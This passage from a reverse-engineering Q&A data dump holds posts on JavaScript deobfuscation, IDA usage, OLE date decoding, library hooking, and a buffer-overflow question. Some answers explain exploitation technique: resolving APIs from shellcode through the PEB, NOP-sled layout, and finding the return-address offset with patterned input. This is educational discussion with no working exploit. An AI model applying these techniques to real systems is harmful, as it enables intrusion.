OwnerUserId="2079" LastActivityDate="2024-01-25T03:01:08.057" Title="Try to deobfuscate multi layered javascript" Tags="|obfuscation|javascript|deobfuscation|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2104" PostTypeId="2" ParentId="2098" CreationDate="2013-05-26T02:25:22.450" Score="6" Body="&lt;p&gt;Igor is right on, here are a few additional tips I have to offer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure when declaring variables within your structure, that you are accurately accommodating for the size of the variable. For example, is it a DWORD or some other multibyte buffer (maybe a memset/memcpy can give you a clue on its size here in these cases)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accurately accounting for these kinds of things is important when dealing with structures with many objects. It can help with your overall understanding of how it is used within the program, as well as further defining structure members&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, keep in mind you can name the fields as you normally would any other variable in IDA. To be thorough, you can also declare the field type in the structure tab, to do this, right-click the field, then select field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, when declaring the size of a multibyte array within a structure for example, you can actually do so in hex by just pre-pending '0x' in the array size field. Doesn't seem like much but it's a small tip that can come in handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is so much more to explore concerning structures and their use within IDA. If you are looking to learn more about this and IDA in general, then I would highly recommend Chris Eagle's IDA Pro Book. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.idabook.com/&quot;&gt;http://www.idabook.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2017" LastActivityDate="2013-05-26T02:25:22.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2105" PostTypeId="2" ParentId="2103" CreationDate="2013-05-26T03:21:01.783" Score="11" Body="&lt;p&gt;Why limit yourself to static deobfuscation? If you run that script through a JavaScript debugger and break on the &lt;code&gt;return&lt;/code&gt; statement, you can see that &lt;code&gt;_0xf81fx1&lt;/code&gt; = &lt;code&gt;function myFunction(){var x=5;return x}&lt;/code&gt;, which was the plain-text of the function before it was obfuscated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, if you run it through &lt;a href=&quot;http://jsbeautifier.org&quot;&gt;http://jsbeautifier.org&lt;/a&gt;, the last line of the output is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;}('3 1(){2 0=5;4 0}', 6, 6, 'x|myFunction|var|function|return|' ['split']('|'), 0, {}));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be seen that the &lt;code&gt;'3 1(){2 0=5;4 0}'&lt;/code&gt; string just holds the indeces for the strings in the string-array &lt;code&gt;'x|myFunction|var|function|return|'&lt;/code&gt;. So &lt;a href=&quot;http://jsbeautifier.org&quot;&gt;http://jsbeautifier.org&lt;/a&gt; does pretty much deobfuscate it most all the way anyway.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2013-05-26T03:26:07.167" LastActivityDate="2013-05-26T03:26:07.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2106" PostTypeId="2" ParentId="2092" CreationDate="2013-05-26T05:50:30.403" Score="2" Body="&lt;p&gt;Yes.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find the address of kernel32 using anyone of the known tricks (PEB or any other way)  &lt;/li&gt;&#xA;&lt;li&gt;Implement a simple export section parser and find the address of &lt;code&gt;LoadLibrary&lt;/code&gt; and &lt;code&gt;GetProcAddress&lt;/code&gt;.  &lt;/li&gt;&#xA;&lt;li&gt;Use those to load any other API you want.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2043" LastEditorUserId="53" LastEditDate="2013-05-26T08:18:03.467" LastActivityDate="2013-05-26T08:18:03.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2107" PostTypeId="2" ParentId="2103" CreationDate="2013-05-26T07:10:52.300" Score="8" Body="&lt;p&gt;jsbeautifier.org is not the source for JS deobfuscation, actually. See this question for more details &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1436/analyzing-highly-obfuscated-javascript&quot;&gt;Analyzing highly obfuscated JavaScript&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After multiple de-obfuscations, it seems that code behind is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//eval function myFunction(){var x=5;return x}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsunpack.jeek.org/?report=24921f4d96d1e05abfc0affd2233bd69874056c9&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://jsunpack.jeek.org/?report=24921f4d96d1e05abfc0affd2233bd69874056c9&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-05-26T07:56:34.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2108" PostTypeId="1" CreationDate="2013-05-26T16:20:27.160" Score="7" ViewCount="5336" Body="&lt;p&gt;&lt;strong&gt;INTRO&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to reverse engineer a binary data file containing sms messagges.&lt;br&gt;&#xA;The file is named ems.idx4 and was created with a software named LG PhoneManager around 5 years ago as a backup archive of sms messagges for a LG mobile.&lt;br&gt;&#xA;I don't know which language was used to write LG PhoneManager, but in the binary file I read strings like &quot;CObTree&quot;, &quot;CFolder&quot;, &quot;CMessage&quot;: maybe this clue means nothing, maybe it suggests that Cobol/.net/whatever language was used.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PROBLEM&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decoded the entire structure of the binary file, which is quite plain tho.&lt;br&gt;&#xA;The only part I couldn't decode is date and time of single messagges.&lt;br&gt;&#xA;I identified the binary part where date and time are encoded and I got a few decoded examples (thanks to the content of the message).&lt;br&gt;&#xA;Binary data in hex:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x10] D0 74 C4 FE 3F 42 E3 40 F1 64 [0x7] 2 [0x13] 1 [0x6] 6C [0x2] is 2007/12/25 some time after 23:58 GMT+1&#xA;[0x10] 2B 25 CA 19 2F 43 E3 40 F1 64 [0x7] 2 [0x13] 1 [0x6] 6C [0x2] is 2008/01/02 some time after 10:48 GMT+1&#xA;[0x10] AA C0 2C 6E 35 43 E3 40 F1 64 [0x7] 2 [0x13] 1 [0x6] 6C [0x2] is 2008/01/02 some time after 16:03 GMT+1&#xA;[0x10] EE 04 71 F2 B6 43 E3 40 F1 64 [0x7] 2 [0x13] 1 [0x6] 6C [0x2] is 2008/01/06 some time after 14:31 GMT+1&#xA;[0x10] 60 2C F9 45 4E 4F E3 40 F1 64 [0x7] 2 [0x13] 1 [0x6] 6C [0x2] is 2008/04/08 some time after 10:32 GMT+1&#xA;[0x10] 5D 84 01 14 74 64 E3 40 F1 64 [0x7] 2 [0x13] 1 [0x6] 6C [0x2] is 2008/11/11 some time after 14:53 GMT+1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where [0xN] means a sequence of N zeros.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this tool: &lt;a href=&quot;http://www.digital-detective.co.uk/freetools/decode.asp&quot; rel=&quot;noreferrer&quot;&gt;http://www.digital-detective.co.uk/freetools/decode.asp&lt;/a&gt;&lt;br&gt;&#xA;I realized it is Windows 64 bit OLE date / time format.&lt;br&gt;&#xA;According to that tool:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D0 74 C4 FE 3F 42 E3 40 means exactly 26/12/2007 00:59&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what the math behind this Windows 64 bit OLE date / time format?&lt;/p&gt;&#xA;" OwnerUserId="2086" LastEditorUserId="2086" LastEditDate="2013-05-26T16:55:28.913" LastActivityDate="2013-05-26T21:28:33.650" Title="Decode date and time in a sequence of binary data" Tags="|file-format|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2109" PostTypeId="2" ParentId="2108" CreationDate="2013-05-26T17:17:19.150" Score="5" Body="&lt;p&gt;Apparently, OLE datetime is based on double values, where whole part is number of days since epoch, and fraction part is fraction of the day. Found some info in &lt;a href=&quot;http://www.codeproject.com/Articles/144159/Time-Format-Conversion-Made-Easy&quot; rel=&quot;noreferrer&quot;&gt;Time Format Conversion Made Easy&lt;/a&gt; in the , aptly named, section &lt;a href=&quot;http://www.codeproject.com/Articles/144159/Time-Format-Conversion-Made-Easy#The_particular_nastiness_of_OLE_Dates&quot; rel=&quot;noreferrer&quot;&gt;The Particular Nastiness of OLE Dates&lt;/a&gt; .&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;OLE Dates (VT_DATE) could have been a great: they specify days since the epoch (Dec 30, 1899), the fractional part giving the fraction of the day (e.g. 0.5 for noon). The floating point allows to trade of resolution near the epoch for long term calculations.&lt;/p&gt;&#xA;&lt;p&gt;Negative values need to be split up into integer and fractional part: e.g. -2.5 means two days back and half a day forward from the epoch (i.e. the sign is applied to the integer part, but not the fractional part). This makes numeric errors especially troublesome, -2 means &amp;quot;two days back from the epoch&amp;quot;, ending up at Dec 28, 1899. -1.9999999 means go back one day and almost an entire day forward again, ending you up just a bit before Dec 30, 1899 - almost two days apart.&lt;/p&gt;&#xA;&lt;p&gt;The epoch was chosen to make Excel compatible with a bug in Lotus 1-2-3, leading to some inaccurate conversions in January and February 1900. For details, See link list below.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I didn't know this, thanks for a bit of lulz :)&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-05-26T17:17:19.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2110" PostTypeId="2" ParentId="2108" CreationDate="2013-05-26T19:04:38.713" Score="3" Body="&lt;p&gt;Ok, I found my way!&lt;br&gt;&#xA;The first 8 bytes after [0x10] are a OLE date in little endian hex.&lt;br&gt;&#xA;I converted them to a regular datetime in python with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import datetime&#xA;import math&#xA;from struct import unpack&#xA;&#xA;&#xA;def ole_date_bin_to_datetime(ole_date_bin):&#xA;    &quot;&quot;&quot;&#xA;        Converts a OLE date from a binary 8 bytes little endian hex form to a datetime&#xA;    &quot;&quot;&quot;&#xA;    #Conversion to OLE date float, where:&#xA;    # - integer part: days from epoch (1899/12/30 00:00) &#xA;    # - decimal part: percentage of the day, where 0,5 is midday&#xA;    date_float = unpack('&amp;lt;d', ole_date_bin)[0]&#xA;    date_decimal, date_integer = math.modf(date_float)&#xA;    date_decimal = abs(date_decimal) &#xA;    date_integer = int(date_integer)&#xA;&#xA;    #Calculate the result&#xA;    res = datetime.datetime(1899, 12, 30) + datetime.timedelta(days=date_integer) #adding days to epoch&#xA;    res = res + datetime.timedelta(seconds = 86400*date_decimal) #adding percentage of the day&#xA;    return res&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    print ole_date_bin_to_datetime('\xd0\x74\xc4\xfe\x3f\x42\xe3\x40')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2086" LastEditorUserId="2086" LastEditDate="2013-05-26T21:28:33.650" LastActivityDate="2013-05-26T21:28:33.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2111" PostTypeId="2" ParentId="2101" CreationDate="2013-05-26T19:27:20.103" Score="3" Body="&lt;p&gt;While waiting for an answer I've also done some searching and here what I've got in case, somebody also interested in this issue. &lt;strong&gt;Kris Kasperski&lt;/strong&gt; a.k.a. &lt;strong&gt;nzumi&lt;/strong&gt; gave quiet a an answer to the above question in his blog. It outdated but I hope it works. I'd appreciate if guys from IDA, can comment about Kris's solutions and it being applicable say from v5 of IDA and on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kris's solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://souriz.wordpress.com/category/ida-pro-tips-n-tricks/&quot; rel=&quot;nofollow&quot;&gt;how to load two or more files into the same IDA-Pro database&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;extract: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;IDA Pro has linear address space emulates x86 CPU flat memory model (well, not only x86, it works with other CPUs too). the loader loads a file into virtual memory and does everything has to be done.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;there is two solutions to load more files&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;first:&lt;/strong&gt; we load the next file as an additional binary file (menu File, Load file, Additional binary file…). IDA Pro does nothing, just load the file, leaves us to parse all internal PE/ELF structures (I saw some IDC-scripts, written by Symantec team, but don’t remember the link). this is tedious job, so, thanks, but no thanks!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;second:&lt;/strong&gt; we use IDA Pro function: &#xA;  &lt;code&gt;bool ida_export load_nonbinary_file (const char *original_file_name, const char *real_file_name, const char *sysdlldir, ushort _neflags, load_info_t *loader)&lt;/code&gt;, where “&lt;em&gt;loader&lt;/em&gt;” – result returned by &lt;code&gt;load_info_t *ida_export build_loaders_list( const char *filename)&lt;/code&gt;, – see \IDA\SDK\include\ loader.hpp. of course, we have to free the pointer with &lt;em&gt;qfree&lt;/em&gt; function (see file pro.h).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;this is all. well… since we have linear address space, we must avoid file overlapping, that means all files are supposed to have different base addresses. if they are match – we must to re-base one of them before loading (if files have relocations it’s very simple, otherwise, extremely tricky, however, it’s possible).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;so, we come to plug-in, looking like this one:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void idaapi run(int arg)&#xA;{&#xA;load_info_t *ld;&#xA;warning(“plugin \”dual-load\” is called!”);&#xA;&#xA;/* NOTE: KERNEL32.DLL and NTDLL.DLL has to be in the current directory!!! */&#xA;ld = build_loaders_list(“KERNEL32.DLL”);&#xA;load_nonbinary_file(“KERNEL32.DLL”, “KERNEL32.DLL”, “.”, NEF_SEGS | NEF_RSCS | NEF_NAME | NEF_IMPS | NEF_CODE, ld);&#xA;/* qfree(ld);&#xA;&#xA;ld = build_loaders_list(“NTDLL.DLL”); */&#xA;load_nonbinary_file(“NTDLL.DLL”, “NTDLL.DLL”, “.”, NEF_SEGS | NEF_RSCS | NEF_NAME | NEF_IMPS | NEF_CODE, ld);&#xA;qfree(ld);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ok, we load notepad.exe into IDA Pro, call our plug-in and… have a fun!!! notepad.exe, &lt;code&gt;kernel32.dll&lt;/code&gt; and &lt;code&gt;ntdll.dll&lt;/code&gt; are loaded into the same idb-database! the only problem is: IDA Pro doesn’t create cross-references between them. I mean, if you analyze &lt;code&gt;notepad.exe&lt;/code&gt;, move the cursor to call &lt;code&gt;ds:GetModuleHandleA&lt;/code&gt;, press “enter” and… nothing happens! you’re into the import table of notepad.exe. and where is the export? somewhere… but, this is not a problem, really, since, we can find &lt;code&gt;GetModuleHandleA&lt;/code&gt; in the “Names Windows” (called by Shift-F4) or write a simple IDC-script to create cross-reference between import and export, it’s like to build a bridge :-]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I did not try it yet. &lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2013-05-27T19:16:06.570" LastActivityDate="2013-05-27T19:16:06.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2112" PostTypeId="2" ParentId="2101" CreationDate="2013-05-27T02:58:20.727" Score="3" Body="&lt;p&gt;If you are using IDA to dump the process, then you can save the contents of the memory directly to the database using the 'Take memory snapshot' feature located in the Debugger menu.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2013-05-27T02:58:20.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2113" PostTypeId="1" CreationDate="2013-05-27T04:09:28.373" Score="12" ViewCount="3871" Body="&lt;p&gt;I want to hook functions in a library (&lt;code&gt;lib.so&lt;/code&gt; or &lt;code&gt;lib.dylib&lt;/code&gt;) from another process. I know that unlike windows libraries, libraries in Linux and Mac still have their symbols (function names and parameters).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;API Monitor&lt;/a&gt; allows you hook exported functions from other libraries but only for windows, which is somewhat of what I need.&lt;/p&gt;&#xA;&lt;p&gt;Basically I want to hook certain functions in either Linux or mac and see their parameters and order of calls.&lt;/p&gt;&#xA;&lt;p&gt;Any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2092" LastEditorUserId="37138" LastEditDate="2021-06-17T15:32:52.770" LastActivityDate="2021-06-17T15:32:52.770" Title="Hooking functions in Linux and/or OSX?" Tags="|disassembly|linux|dynamic-analysis|osx|symbols|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="2114" PostTypeId="2" ParentId="2113" CreationDate="2013-05-27T04:41:55.770" Score="6" Body="&lt;p&gt;For OS X, &lt;a href=&quot;http://dtrace.org/blogs/about/&quot;&gt;dtrace&lt;/a&gt; should do the trick. dtrace is supposed to exist for Linux as well, though I don’t know how well it is supported, and I believe there are other equivalent tools there.&lt;/p&gt;&#xA;" OwnerUserId="2058" LastActivityDate="2013-05-27T04:41:55.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2115" PostTypeId="2" ParentId="2113" CreationDate="2013-05-27T06:32:59.200" Score="8" Body="&lt;p&gt;Check the trace family:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;ltrace: a library tracer&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;strace: a kernel call (syscall) tracer&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ptrace: a programmable tracer &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;radare's &lt;a href=&quot;http://radare.org/y/?p=examples&amp;amp;f=itrace&quot;&gt;itrace&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="188" LastEditDate="2013-05-27T08:00:40.353" LastActivityDate="2013-05-27T08:00:40.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2116" PostTypeId="2" ParentId="2113" CreationDate="2013-05-27T07:26:20.743" Score="9" Body="&lt;p&gt;You can simply export the environment variable &lt;code&gt;LD_PRELOAD&lt;/code&gt; (on Linux) or &lt;code&gt;DYLD_INSERT_LIBRARIES&lt;/code&gt; (on OS X) pointing to (the full path of) your library before running your target, like in this example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/6083337/overriding-malloc-using-the-ld-preload-mechanism&quot;&gt;https://stackoverflow.com/questions/6083337/overriding-malloc-using-the-ld-preload-mechanism&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for hooking functions to do whatever you want (not to spy on function calls).&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-05-27T11:28:23.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2117" PostTypeId="2" ParentId="2103" CreationDate="2013-05-27T18:52:45.110" Score="15" Body="&lt;p&gt;Using &lt;a href=&quot;http://malzilla.sourceforge.net/downloads.html&quot; rel=&quot;noreferrer&quot;&gt;Malzilla&lt;/a&gt;, I was able to de-obfuscate this in ~30 seconds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;, open Malzilla, select the &lt;em&gt;Decoder&lt;/em&gt; tab, and paste the JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/18qVw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;, you can optionally press the &quot;Format Code&quot; button to get a rudimentary re-formatting of the JS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;, check &lt;em&gt;Override eval()&lt;/em&gt;, and click the &lt;em&gt;Run script&lt;/em&gt; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Fq6b.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll notice that in the output box, the de-obfuscated code is printed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myFunction(){var x=5;return x}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="161" LastActivityDate="2013-05-27T18:52:45.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2118" PostTypeId="1" CreationDate="2013-05-28T11:47:20.513" Score="8" ViewCount="7582" Body="&lt;p&gt;The code I'm referring to is found here: &lt;a href=&quot;https://stackoverflow.com/questions/8696517/buffer-overflow-example-from-art-of-exploitation-book&quot;&gt;Link to code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that the buffer overflow exploit uses a buffer that looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;| NOP SLED | SHELLCODE | REPEATED RETURN ADDRESS |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I understand the exploit happens when the buffer is put onto the stack as a function parameter and overwrites the function's return address. I also understand that the repeated return address points to the NOP sled in the same buffer on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't understand are the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Why does the return address have to point to the shellcode in the same buffer? Someone told me that I can't have the return address point to the shellcode array (as opposed to an address in the NOP sled in the same buffer) because different processes can't access each other's memory or something of that sort. I'd love it if anyone can explain this to me. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How is the return address on the buffer perfectly aligned with the original one so the &lt;code&gt;ret&lt;/code&gt; command will read the correct address and not read it from the middle for example.&#xA;What I'm referring to is that the repeated return command on the buffer overwrites the original return command on the stack which was pushed there with the &lt;code&gt;call&lt;/code&gt; instruction. Why is the overwriting return address perfectly aligned with the original one?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2103" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.117" LastActivityDate="2017-05-16T16:19:45.377" Title="buffer overflow exploits - Why is the shellcode put before the return address" Tags="|c|callstack|buffer-overflow|exploit|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2119" PostTypeId="1" AcceptedAnswerId="2121" CreationDate="2013-05-28T12:17:15.000" Score="11" ViewCount="5144" Body="&lt;p&gt;For learning (&lt;em&gt;and fun&lt;/em&gt;) I have been analyzing a text editor application using IDA Pro. While looking at the disassembly, I notice many function calls are made by explicitly calling the name of the function. For example, I notice IDA translates most function calls into the following two formats.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call cs:CoCreateInstance&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call WinSqmAddToStream&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But sometimes the format does not use a function name. The following example includes the code leading up to the line in question. The third line of code seem to be &quot;missing&quot; the function name. (The comments are my own.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rcx, [rsp+128h+var_D8]    // reg CX gets the address at stack pointer+128h+var_D8 bytes &#xA;mov r8, [rcx]                 // the address at reg CX is stored to reg r8&#xA;call qword ptr [r8 + 18h]     // at address rax+18h, call function defined by qword bytes &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My questions are as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How do I make the connection between &lt;code&gt;call qword ptr &amp;lt;address&amp;gt;&lt;/code&gt; and a function in the disassembly?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I understand that IDA cannot use a function name here since it does not know the value stored at the register R8... so what causes this? Was there a certain syntax or convention used by the developer? In other words, did the developer call the function &lt;code&gt;WinSqmAddToStream&lt;/code&gt; in a different manner than the function at &lt;code&gt;[r8+18h]&lt;/code&gt;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2082" LastEditorUserId="2082" LastEditDate="2013-05-28T16:16:58.683" LastActivityDate="2021-06-17T15:31:53.553" Title="What to do when IDA cannot provide a function name?" Tags="|ida|disassembly|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2121" PostTypeId="2" ParentId="2119" CreationDate="2013-05-28T13:38:35.150" Score="12" Body="&lt;p&gt;To connect an indirect call to its target (if you know it) you can do the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a custom cross-reference - either with IDC/Python, or from the Cross References subview. If you use scripting, don't forget to add the &lt;code&gt;XREF_USER&lt;/code&gt; flag so IDA does not delete it on reanalysis.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &amp;quot;callee&amp;quot; plugin (Edit→Plugins→Change the callee address, or &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F11&lt;/kbd&gt;). This will automatically add a cross-reference and also a comment next to the call.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;As for why the explicit call is not present in the binary there can be many explanations. The snippet you're showing looks like a virtual function call, and they are usually done only in this manner to account for possibility of the method being overridden in a derived class.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="37138" LastEditDate="2021-06-17T15:31:53.553" LastActivityDate="2021-06-17T15:31:53.553" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="2122" PostTypeId="2" ParentId="2118" CreationDate="2013-05-28T14:34:56.843" Score="4" Body="&lt;p&gt;If I'm understanding your first question correctly, I think there was a disconnect between you and whoever told you that. There is no restriction based on the buffer(s) being in the same process, at least not with respect to return values. You could absolutely have the return address point to the start of the shellcode. It's entirely up to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The better reason for returning to the NOP sled is both convention and the fact that it's a good habit. In examples where you don't know exactly where your code is going to end up the NOP sled helps &quot;catch&quot; your redirected EIP. Since NOPs don't do anything it gives you a larger buffer and larger probability to catch your code. As one of the comments in the discussion you linked to stated, this isn't a very robust form of exploitation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second question is a little more general. I don't have my copy of the book handy but it's essentially trial and error to figure out how far to write the return address into the buffer. Assuming that the crash is reliable, you would change your buffer from being 120 A's to something like AAAABBBBCCCCDDDDEEEE...etc. When the program crashes you'll see what junk is in the EIP and you can use that value to calculate the offset where the data is overwritten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if your EIP when the program dies contains 44444444, that means the RET instruction pulled the DDDD segment off of the stack. So when you craft your final exploit you'll know that it's 12 bytes until the saved EIP is overwritten on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth mentioning that if you're going to be doing any examples that are less contrived than this one, Metasploit has a great pair of scripts to make this easier. pattern_create will create a unique pattern of your length and pattern_offset will take a length and some substring of the pattern and tell you how far into it is.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastEditorUserId="1306" LastEditDate="2013-05-28T16:31:58.203" LastActivityDate="2013-05-28T16:31:58.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
